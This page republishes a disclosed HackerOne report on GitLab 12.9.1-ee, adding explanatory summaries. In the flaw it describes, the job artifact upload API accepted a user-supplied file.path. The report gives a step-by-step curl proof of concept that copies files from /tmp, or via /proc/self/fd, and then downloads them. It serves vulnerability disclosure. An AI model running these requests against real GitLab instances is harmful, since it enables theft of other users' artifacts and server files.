Skip to content
Access control Disclosed report Intermediate

gitlab-workhorse bypass on job artifact upload allowing any tmp file to be uploaded

The job artifact upload API accepted a user-supplied file.path parameter, which should only be set by gitlab-workhorse, allowing an attacker to copy arbitrary files from /tmp or the artifact uploads directory. An attacker could then download those files, potentially stealing artifacts from other jobs or other temporary files.

GitLab

Originally disclosed on GitLab

Critical View original
  • Fixed in 14 days
  • Disclosed after 14 days

Issue imported from HackerOne report #835782 by vakzz
Initial report sent by HackerOne report #835417 by manassehzhou on 2020-03-31, assigned to @dcouture:

Summary

Similar to https://hackerone.com/reports/835455, a user can set the file.path for the job artifacts api when uploading an artifact, allowing files from /tmp or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads to be accessed.

Steps to reproduce

  1. create a project
  2. register a new runner curl -XPOST 'http://gitlab-vm.local/api/v4/runners?token=$RUNNER_REG_TOKEN'
  3. add a .gitlab-ci.yml, can just use the template
  4. use the runner token to request a job curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/request?token=$RUNNER_TOKEN'
  5. create an example file to be copied on the server echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
  6. use the job token to upload a file setting the file.path to the file to be copied:
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/proc/self'  
{"message":"insecure path used '/proc/32560'"}  
curl -XPOST 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN&file.path=/tmp/ggg'  
201  
  1. download the file curl 'http://gitlab-vm.local/api/v4/jobs/21/artifacts?token=$JOB_TOKEN'

As symlinks are resolved before checking if the path is allowed, /proc/self/fd/xx could be used to access any files in /tmp or /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads without needing to know the filename just the file descriptor if rails currently has them open. This could allow an attacker to steal artifacts from other jobs or other /tmp files.

Impact

  • allows an attacker to read files in /tmp owned by git
  • allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads

What is the current bug behavior?

An attacker is able to supply a file.path and gitlab believes it has been sent by gitlab-workhorse

What is the expected correct behavior?

Only gitlab-workhorse should be allowed to set file.* params

Output of checks

Results of GitLab environment info

System information  
System:     Ubuntu 18.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.7  
Git Version:    2.24.1  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    12.9.1-ee  
Revision:   0ebcf602332  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 10.12  
URL:        http://gitlab-vm.local  
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git  
SSH Clone URL:  [email protected]:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:    12.0.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

  • allows an attacker to read files in /tmp owned by git
  • allows an attacker to read files /var/opt/gitlab/gitlab-rails/shared/artifacts/tmp/uploads

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application trusted a user-supplied file.path parameter that should only be set by the internal gitlab-workhorse component.

Impact

An attacker could read files in /tmp owned by git and files in the artifact uploads directory, potentially stealing artifacts from other jobs.

What the attacker needed

A GitLab account; ability to create a project and runner; a job token

The fix

The expected behaviour is that only gitlab-workhorse may set file.* parameters.

How it was found

  1. Create a project.
  2. Register a new runner using the runner registration token.
  3. Add a .gitlab-ci.yml file to the project.
  4. Use the runner token to request a job.
  5. Create a file in /tmp owned by the git user.
  6. Upload an artifact with file.path set to the target file, then download the artifact.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you upload a file to a website, the server usually decides where to store it. Here, the server also let the user say which existing file on the server should be copied, which is dangerous because it can copy files the user should not see. The attacker could then download those copied files.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.